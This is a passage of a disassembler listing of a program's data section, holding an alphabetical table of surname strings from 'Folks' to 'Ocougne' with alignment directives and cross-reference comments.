aFolks db 'Folks',0 ; DATA XREF: .data:00444968o
align 10h
aForester db 'Forester',0 ; DATA XREF: .data:0044496Co
align 4
aFortes db 'Fortes',0 ; DATA XREF: .data:00444970o
align 4
aFortier db 'Fortier',0 ; DATA XREF: .data:00444974o
aFossey db 'Fossey',0 ; DATA XREF: .data:00444978o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .data:0044497Co
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .data:00444980o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:00444984o
align 4
aFranz db 'Franz',0 ; DATA XREF: .data:00444988o
align 10h
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0044498Co
align 10h
aFreid db 'Freid',0 ; DATA XREF: .data:00444990o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .data:00444994o
align 4
aFried db 'Fried',0 ; DATA XREF: .data:00444998o
align 4
aFriedland db 'Friedland',0 ; DATA XREF: .data:0044499Co
align 4
aFrisken db 'Frisken',0 ; DATA XREF: .data:004449A0o
aFrowiss db 'Frowiss',0 ; DATA XREF: .data:004449A4o
aFryberger db 'Fryberger',0 ; DATA XREF: .data:004449A8o
align 4
aFrye db 'Frye',0 ; DATA XREF: .data:004449ACo
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:004449B0o
align 4
aFuller db 'Fuller',0 ; DATA XREF: .data:004449B4o
align 10h
aFurth db 'Furth',0 ; DATA XREF: .data:004449B8o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .data:004449BCo
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:004449C0o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:004449C4o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .data:004449C8o
align 4
aGalwey db 'Galwey',0 ; DATA XREF: .data:004449CCo
align 4
aGambini db 'Gambini',0 ; DATA XREF: .data:004449D0o
aGarfield db 'Garfield',0 ; DATA XREF: .data:004449D4o
align 10h
aGarman db 'Garman',0 ; DATA XREF: .data:004449D8o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .data:004449DCo
aGeller db 'Geller',0 ; DATA XREF: .data:004449E0o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .data:004449E4o
align 4
aGeorgi db 'Georgi',0 ; DATA XREF: .data:004449E8o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .data:004449ECo
aGhorai db 'Ghorai',0 ; DATA XREF: .data:004449F0o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .data:004449F4o
aGibson db 'Gibson',0 ; DATA XREF: .data:004449F8o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .data:004449FCo
aGili db 'Gili',0 ; DATA XREF: .data:00444A00o
align 4
aGill db 'Gill',0 ; DATA XREF: .data:00444A04o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .data:00444A08o
align 10h
aGist db 'Gist',0 ; DATA XREF: .data:00444A0Co
align 4
aGleason db 'Gleason',0 ; DATA XREF: .data:00444A10o
aGlegg db 'Glegg',0 ; DATA XREF: .data:00444A14o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .data:00444A18o
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:00444A1Co
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .data:00444A20o
align 4
aGood db 'Good',0 ; DATA XREF: .data:00444A24o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: .data:00444A28o
align 4
aGoody db 'Goody',0 ; DATA XREF: .data:00444A2Co
align 4
aGozzi db 'Gozzi',0 ; DATA XREF: .data:00444A30o
align 4
aGravell db 'Gravell',0 ; DATA XREF: .data:00444A34o
aGreenberg db 'Greenberg',0 ; DATA XREF: .data:00444A38o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:00444A3Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .data:00444A40o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:00444A44o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .data:00444A48o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: .data:00444A4Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .data:00444A50o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: .data:00444A54o
align 4
aGunn db 'Gunn',0 ; DATA XREF: .data:00444A58o
align 4
aGuo db 'Guo',0 ; DATA XREF: .data:00444A5Co
aHa db 'Ha',0 ; DATA XREF: .data:00444A60o
align 4
aHaar db 'Haar',0 ; DATA XREF: .data:00444A64o
align 4
aHackman db 'Hackman',0 ; DATA XREF: .data:00444A68o
aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:00444A6Co
align 4
aHaley db 'Haley',0 ; DATA XREF: .data:00444A70o
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: .data:00444A74o
aHallowell db 'Hallowell',0 ; DATA XREF: .data:00444A78o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .data:00444A7Co
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:00444A80o
align 4
aHamer db 'Hamer',0 ; DATA XREF: .data:00444A84o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .data:00444A88o
align 10h
aHand db 'Hand',0 ; DATA XREF: .data:00444A8Co
align 4
aHanssen db 'Hanssen',0 ; DATA XREF: .data:00444A90o
aHarding db 'Harding',0 ; DATA XREF: .data:00444A94o
aHargraves db 'Hargraves',0 ; DATA XREF: .data:00444A98o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .data:00444A9Co
align 4
aHarrigan db 'Harrigan',0 ; DATA XREF: .data:00444AA0o
align 4
aHartman db 'Hartman',0 ; DATA XREF: .data:00444AA4o
aHartmann db 'Hartmann',0 ; DATA XREF: .data:00444AA8o
align 4
aHartnett db 'Hartnett',0 ; DATA XREF: .data:00444AACo
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .data:00444AB0o
aHaviaras db 'Haviaras',0 ; DATA XREF: .data:00444AB4o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .data:00444AB8o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .data:00444ABCo
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .data:00444AC0o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:00444AC4o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: .data:00444AC8o
align 4
aHeft db 'Heft',0 ; DATA XREF: .data:00444ACCo
align 4
aHeiland db 'Heiland',0 ; DATA XREF: .data:00444AD0o
aHellman db 'Hellman',0 ; DATA XREF: .data:00444AD4o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:00444AD8o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: .data:00444ADCo
aHemphill db 'Hemphill',0 ; DATA XREF: .data:00444AE0o
align 4
aHenery db 'Henery',0 ; DATA XREF: .data:00444AE4o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .data:00444AE8o
align 4
aHernandez db 'Hernandez',0 ; DATA XREF: .data:00444AECo
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .data:00444AF0o
aHester db 'Hester',0 ; DATA XREF: .data:00444AF4o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .data:00444AF8o
aHeyeck db 'Heyeck',0 ; DATA XREF: .data:00444AFCo
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:00444B00o
align 10h
aHind db 'Hind',0 ; DATA XREF: .data:00444B04o
align 4
aHirst db 'Hirst',0 ; DATA XREF: .data:00444B08o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:00444B0Co
align 4
aHoang db 'Hoang',0 ; DATA XREF: .data:00444B10o
align 4
aHock db 'Hock',0 ; DATA XREF: .data:00444B14o
align 4
aHoffer db 'Hoffer',0 ; DATA XREF: .data:00444B18o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .data:00444B1Co
aHokanson db 'Hokanson',0 ; DATA XREF: .data:00444B20o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .data:00444B24o
align 10h
aHolmes db 'Holmes',0 ; DATA XREF: .data:00444B28o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .data:00444B2Co
aHolter db 'Holter',0 ; DATA XREF: .data:00444B30o
align 4
aHolway db 'Holway',0 ; DATA XREF: .data:00444B34o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: .data:00444B38o
aHooker db 'Hooker',0 ; DATA XREF: .data:00444B3Co
align 10h
aHopkins db 'Hopkins',0 ; DATA XREF: .data:00444B40o
aHorsley db 'Horsley',0 ; DATA XREF: .data:00444B44o
aHoshida db 'Hoshida',0 ; DATA XREF: .data:00444B48o
aHostage db 'Hostage',0 ; DATA XREF: .data:00444B4Co
aHottle db 'Hottle',0 ; DATA XREF: .data:00444B50o
align 4
aHoward db 'Howard',0 ; DATA XREF: .data:00444B54o
align 10h
aHoy db 'Hoy',0 ; DATA XREF: .data:00444B58o
aHuey db 'Huey',0 ; DATA XREF: .data:00444B5Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:00444B60o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .data:00444B64o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .data:00444B68o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: .data:00444B6Co
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:00444B70o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .data:00444B74o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: .data:00444B78o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:00444B7Co
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:00444B80o
align 10h
aIgarashi db 'Igarashi',0 ; DATA XREF: .data:00444B84o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .data:00444B88o
aInniss db 'Inniss',0 ; DATA XREF: .data:00444B8Co
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .data:00444B90o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .data:00444B94o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: .data:00444B98o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .data:00444B9Co
align 4
aIyer db 'Iyer',0 ; DATA XREF: .data:00444BA0o
align 4
aJacenko db 'Jacenko',0 ; DATA XREF: .data:00444BA4o
aJackson db 'Jackson',0 ; DATA XREF: .data:00444BA8o
aJagers db 'Jagers',0 ; DATA XREF: .data:00444BACo
align 4
aJagger db 'Jagger',0 ; DATA XREF: .data:00444BB0o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .data:00444BB4o
align 4
aJain db 'Jain',0 ; DATA XREF: .data:00444BB8o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .data:00444BBCo
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .data:00444BC0o
align 10h
aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:00444BC4o
align 4
aJarrell db 'Jarrell',0 ; DATA XREF: .data:00444BC8o
aJay db 'Jay',0 ; DATA XREF: .data:00444BCCo
aJeffers db 'Jeffers',0 ; DATA XREF: .data:00444BD0o
aJellis db 'Jellis',0 ; DATA XREF: .data:00444BD4o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .data:00444BD8o
aJespersen db 'Jespersen',0 ; DATA XREF: .data:00444BDCo
align 4
aJewett db 'Jewett',0 ; DATA XREF: .data:00444BE0o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .data:00444BE4o
aJohannsen db 'Johannsen',0 ; DATA XREF: .data:00444BE8o
align 4
aJohns db 'Johns',0 ; DATA XREF: .data:00444BECo
align 4
aJolly db 'Jolly',0 ; DATA XREF: .data:00444BF0o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:00444BF4o
align 4
aJucks db 'Jucks',0 ; DATA XREF: .data:00444BF8o
align 10h
aJuliano db 'Juliano',0 ; DATA XREF: .data:00444BFCo
aJulious db 'Julious',0 ; DATA XREF: .data:00444C00o
aKabbash db 'Kabbash',0 ; DATA XREF: .data:00444C04o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:00444C08o
align 4
aKafadar db 'Kafadar',0 ; DATA XREF: .data:00444C0Co
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:00444C10o
aKaligian db 'Kaligian',0 ; DATA XREF: .data:00444C14o
align 4
aKalil db 'Kalil',0 ; DATA XREF: .data:00444C18o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:00444C1Co
align 4
aKalman db 'Kalman',0 ; DATA XREF: .data:00444C20o
align 10h
aKamel db 'Kamel',0 ; DATA XREF: .data:00444C24o
align 4
aKangis db 'Kangis',0 ; DATA XREF: .data:00444C28o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:00444C2Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: .data:00444C30o
align 4
aKasten db 'Kasten',0 ; DATA XREF: .data:00444C34o
align 10h
aKawachi db 'Kawachi',0 ; DATA XREF: .data:00444C38o
aKee db 'Kee',0 ; DATA XREF: .data:00444C3Co
aKeenan db 'Keenan',0 ; DATA XREF: .data:00444C40o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .data:00444C44o
aKeith db 'Keith',0 ; DATA XREF: .data:00444C48o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .data:off_444C4Co
align 4
aKelsey db 'Kelsey',0 ; DATA XREF: .data:00444C50o
align 4
aKempton db 'Kempton',0 ; DATA XREF: .data:00444C54o
aKemsley db 'Kemsley',0 ; DATA XREF: .data:00444C58o
aKendall db 'Kendall',0 ; DATA XREF: .data:00444C5Co
aKerry db 'Kerry',0 ; DATA XREF: .data:00444C60o
align 4
aKeul db 'Keul',0 ; DATA XREF: .data:00444C64o
align 4
aKhong db 'Khong',0 ; DATA XREF: .data:00444C68o
align 4
aKimmel db 'Kimmel',0 ; DATA XREF: .data:00444C6Co
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .data:00444C70o
aKimura db 'Kimura',0 ; DATA XREF: .data:00444C74o
align 4
aKindall db 'Kindall',0 ; DATA XREF: .data:00444C78o
aKinsley db 'Kinsley',0 ; DATA XREF: .data:00444C7Co
aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:00444C80o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .data:00444C84o
aKittridge db 'Kittridge',0 ; DATA XREF: .data:00444C88o
align 10h
aKleckner db 'Kleckner',0 ; DATA XREF: .data:00444C8Co
align 4
aKleiman db 'Kleiman',0 ; DATA XREF: .data:00444C90o
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:00444C94o
aKlemperer db 'Klemperer',0 ; DATA XREF: .data:00444C98o
align 4
aKling db 'Kling',0 ; DATA XREF: .data:00444C9Co
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:00444CA0o
aKlint db 'Klint',0 ; DATA XREF: .data:00444CA4o
align 4
aKnuff db 'Knuff',0 ; DATA XREF: .data:00444CA8o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: .data:00444CACo
aKoch db 'Koch',0 ; DATA XREF: .data:00444CB0o
align 10h
aKohn db 'Kohn',0 ; DATA XREF: .data:00444CB4o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:00444CB8o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .data:00444CBCo
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .data:00444CC0o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .data:00444CC4o
align 10h
aKool db 'Kool',0 ; DATA XREF: .data:00444CC8o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .data:00444CCCo
align 4
aKotter db 'Kotter',0 ; DATA XREF: .data:00444CD0o
align 4
aKovaks db 'Kovaks',0 ; DATA XREF: .data:00444CD4o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .data:00444CD8o
aKrailo db 'Krailo',0 ; DATA XREF: .data:00444CDCo
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .data:00444CE0o
aKraus db 'Kraus',0 ; DATA XREF: .data:00444CE4o
align 4
aKroemer db 'Kroemer',0 ; DATA XREF: .data:00444CE8o
aKrysiak db 'Krysiak',0 ; DATA XREF: .data:00444CECo
aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:00444CF0o
aKumar db 'Kumar',0 ; DATA XREF: .data:00444CF4o
align 4
aKusman db 'Kusman',0 ; DATA XREF: .data:00444CF8o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:00444CFCo
align 4
aLa db 'La',0 ; DATA XREF: .data:00444D00o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .data:00444D04o
aLafler db 'Lafler',0 ; DATA XREF: .data:00444D08o
align 4
aLaing db 'Laing',0 ; DATA XREF: .data:00444D0Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .data:00444D10o
align 10h
aLandes db 'Landes',0 ; DATA XREF: .data:00444D14o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .data:00444D18o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: .data:00444D1Co
align 4
aLanzit db 'Lanzit',0 ; DATA XREF: .data:00444D20o
align 4
aLaserna db 'Laserna',0 ; DATA XREF: .data:00444D24o
aLashley db 'Lashley',0 ; DATA XREF: .data:00444D28o
aLawless db 'Lawless',0 ; DATA XREF: .data:00444D2Co
aLecar db 'Lecar',0 ; DATA XREF: .data:00444D30o
align 4
aLecce db 'Lecce',0 ; DATA XREF: .data:00444D34o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .data:00444D38o
align 4
aLeite db 'Leite',0 ; DATA XREF: .data:00444D3Co
align 10h
aLenard db 'Lenard',0 ; DATA XREF: .data:00444D40o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:00444D44o
align 4
aLesser db 'Lesser',0 ; DATA XREF: .data:00444D48o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .data:00444D4Co
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .data:00444D50o
align 4
aLidano db 'Lidano',0 ; DATA XREF: .data:00444D54o
align 4
aLiem db 'Liem',0 ; DATA XREF: .data:00444D58o
align 4
aLight db 'Light',0 ; DATA XREF: .data:00444D5Co
align 4
aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:00444D60o
align 10h
aLim db 'Lim',0 ; DATA XREF: .data:00444D64o
aLinares db 'Linares',0 ; DATA XREF: .data:00444D68o
aLinda db 'Linda',0 ; DATA XREF: .data:00444D6Co
align 4
aLinder db 'Linder',0 ; DATA XREF: .data:00444D70o
align 4
aLine_0 db 'Line',0 ; DATA XREF: .data:00444D74o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .data:00444D78o
aLinzee db 'Linzee',0 ; DATA XREF: .data:00444D7Co
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .data:00444D80o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: .data:00444D84o
align 4
aLittle db 'Little',0 ; DATA XREF: .data:00444D88o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .data:00444D8Co
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .data:00444D90o
align 4
aLivi db 'Livi',0 ; DATA XREF: .data:00444D94o
align 10h
aLivolsi db 'Livolsi',0 ; DATA XREF: .data:00444D98o
aLizardo db 'Lizardo',0 ; DATA XREF: .data:00444D9Co
aLocatelli db 'Locatelli',0 ; DATA XREF: .data:00444DA0o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .data:00444DA4o
align 4
aLoss db 'Loss',0 ; DATA XREF: .data:00444DA8o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: .data:00444DACo
aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:00444DB0o
align 4
aLoza db 'Loza',0 ; DATA XREF: .data:00444DB4o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .data:00444DB8o
align 4
aLucas db 'Lucas',0 ; DATA XREF: .data:00444DBCo
align 4
aLuciano db 'Luciano',0 ; DATA XREF: .data:00444DC0o
aLuczkow db 'Luczkow',0 ; DATA XREF: .data:00444DC4o
aLuecke db 'Luecke',0 ; DATA XREF: .data:00444DC8o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .data:00444DCCo
aLuoma db 'Luoma',0 ; DATA XREF: .data:00444DD0o
align 4
aLussier db 'Lussier',0 ; DATA XREF: .data:00444DD4o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:00444DD8o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .data:00444DDCo
aMa db 'Ma',0 ; DATA XREF: .data:00444DE0o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .data:00444DE4o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: .data:00444DE8o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .data:00444DECo
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .data:00444DF0o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .data:00444DF4o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: .data:00444DF8o
align 4
aMacy db 'Macy',0 ; DATA XREF: .data:00444DFCo
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .data:00444E00o
aMaggio db 'Maggio',0 ; DATA XREF: .data:00444E04o
align 4
aMahony db 'Mahony',0 ; DATA XREF: .data:00444E08o
align 4
aMaier db 'Maier',0 ; DATA XREF: .data:00444E0Co
align 4
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:00444E10o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .data:00444E14o
aMalatesta db 'Malatesta',0 ; DATA XREF: .data:00444E18o
align 4
aMaller db 'Maller',0 ; DATA XREF: .data:00444E1Co
align 10h
aMalova db 'Malova',0 ; DATA XREF: .data:00444E20o
align 4
aManalis db 'Manalis',0 ; DATA XREF: .data:00444E24o
aMandel db 'Mandel',0 ; DATA XREF: .data:00444E28o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .data:00444E2Co
aMantovan db 'Mantovan',0 ; DATA XREF: .data:00444E30o
align 10h
aMarch_0 db 'March',0 ; DATA XREF: .data:00444E34o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:00444E38o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .data:00444E3Co
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .data:00444E40o
align 4
aMargetts db 'Margetts',0 ; DATA XREF: .data:00444E44o
align 4
aMarques db 'Marques',0 ; DATA XREF: .data:00444E48o
aMartinez db 'Martinez',0 ; DATA XREF: .data:00444E4Co
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .data:00444E50o
align 4
aMarton db 'Marton',0 ; DATA XREF: .data:00444E54o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .data:00444E58o
align 4
aMass db 'Mass',0 ; DATA XREF: .data:00444E5Co
align 10h
aMatalka db 'Matalka',0 ; DATA XREF: .data:00444E60o
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:00444E64o
align 4
aMatsukata db 'Matsukata',0 ; DATA XREF: .data:00444E68o
align 10h
aMattson db 'Mattson',0 ; DATA XREF: .data:00444E6Co
aMauzy db 'Mauzy',0 ; DATA XREF: .data:00444E70o
align 10h
aMay_0 db 'May',0 ; DATA XREF: .data:00444E74o
aMazzali db 'Mazzali',0 ; DATA XREF: .data:00444E78o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:00444E7Co
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .data:00444E80o
aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:00444E84o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .data:00444E88o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:00444E8Co
align 10h
aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:00444E90o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:00444E94o
aMcfadden db 'McFadden',0 ; DATA XREF: .data:00444E98o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: .data:00444E9Co
align 4
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:00444EA0o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .data:00444EA4o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:00444EA8o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .data:00444EACo
aMclane db 'Mclane',0 ; DATA XREF: .data:00444EB0o
align 4
aMclaren db 'Mclaren',0 ; DATA XREF: .data:00444EB4o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:00444EB8o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:00444EBCo
aMeccariello db 'Meccariello',0 ; DATA XREF: .data:00444EC0o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:00444EC4o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .data:00444EC8o
aMerikoski db 'Merikoski',0 ; DATA XREF: .data:00444ECCo
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .data:00444ED0o
aMerminod db 'Merminod',0 ; DATA XREF: .data:00444ED4o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: .data:00444ED8o
aMerz db 'Merz',0 ; DATA XREF: .data:00444EDCo
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: .data:00444EE0o
aMetropolis db 'Metropolis',0 ; DATA XREF: .data:00444EE4o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .data:00444EE8o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .data:00444EECo
align 4
aMiddle db 'Middle',0 ; DATA XREF: .data:00444EF0o
align 10h
aMieher db 'Mieher',0 ; DATA XREF: .data:00444EF4o
align 4
aMills db 'Mills',0 ; DATA XREF: .data:00444EF8o
align 10h
aMinh db 'Minh',0 ; DATA XREF: .data:00444EFCo
align 4
aMini db 'Mini',0 ; DATA XREF: .data:00444F00o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: .data:00444F04o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:00444F08o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:00444F0Co
aMittal db 'Mittal',0 ; DATA XREF: .data:00444F10o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .data:00444F14o
aModestino db 'Modestino',0 ; DATA XREF: .data:00444F18o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: .data:00444F1Co
aMohr db 'Mohr',0 ; DATA XREF: .data:00444F20o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:00444F24o
align 4
aMonque db 'Monque',0 ; DATA XREF: .data:00444F28o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .data:00444F2Co
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:00444F30o
align 4
aMorani db 'Morani',0 ; DATA XREF: .data:00444F34o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .data:00444F38o
aMorrison db 'Morrison',0 ; DATA XREF: .data:00444F3Co
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .data:00444F40o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: .data:00444F44o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .data:00444F48o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .data:00444F4Co
align 4
aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:00444F50o
align 4
aMotooka db 'Motooka',0 ; DATA XREF: .data:00444F54o
aMudarri db 'Mudarri',0 ; DATA XREF: .data:00444F58o
aMuello db 'Muello',0 ; DATA XREF: .data:00444F5Co
align 10h
aMugnai db 'Mugnai',0 ; DATA XREF: .data:00444F60o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .data:00444F64o
aMulroy db 'Mulroy',0 ; DATA XREF: .data:00444F68o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .data:00444F6Co
aMussachio db 'Mussachio',0 ; DATA XREF: .data:00444F70o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .data:00444F74o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .data:00444F78o
align 10h
aNardi db 'Nardi',0 ; DATA XREF: .data:00444F7Co
align 4
aNardone db 'Nardone',0 ; DATA XREF: .data:00444F80o
aNaviaux db 'Naviaux',0 ; DATA XREF: .data:00444F84o
aNayduch db 'Nayduch',0 ; DATA XREF: .data:00444F88o
aNelson db 'Nelson',0 ; DATA XREF: .data:00444F8Co
align 4
aNenna db 'Nenna',0 ; DATA XREF: .data:00444F90o
align 10h
aNesci db 'Nesci',0 ; DATA XREF: .data:00444F94o
align 4
aNeuman db 'Neuman',0 ; DATA XREF: .data:00444F98o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: .data:00444F9Co
aNewlin db 'Newlin',0 ; DATA XREF: .data:00444FA0o
align 10h
aNg db 'Ng',0 ; DATA XREF: .data:00444FA4o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .data:00444FA8o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .data:00444FACo
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:00444FB0o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: .data:00444FB4o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .data:00444FB8o
align 4
aNotman db 'Notman',0 ; DATA XREF: .data:00444FBCo
align 10h
aNuzum db 'Nuzum',0 ; DATA XREF: .data:00444FC0o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .data:00444FC4o
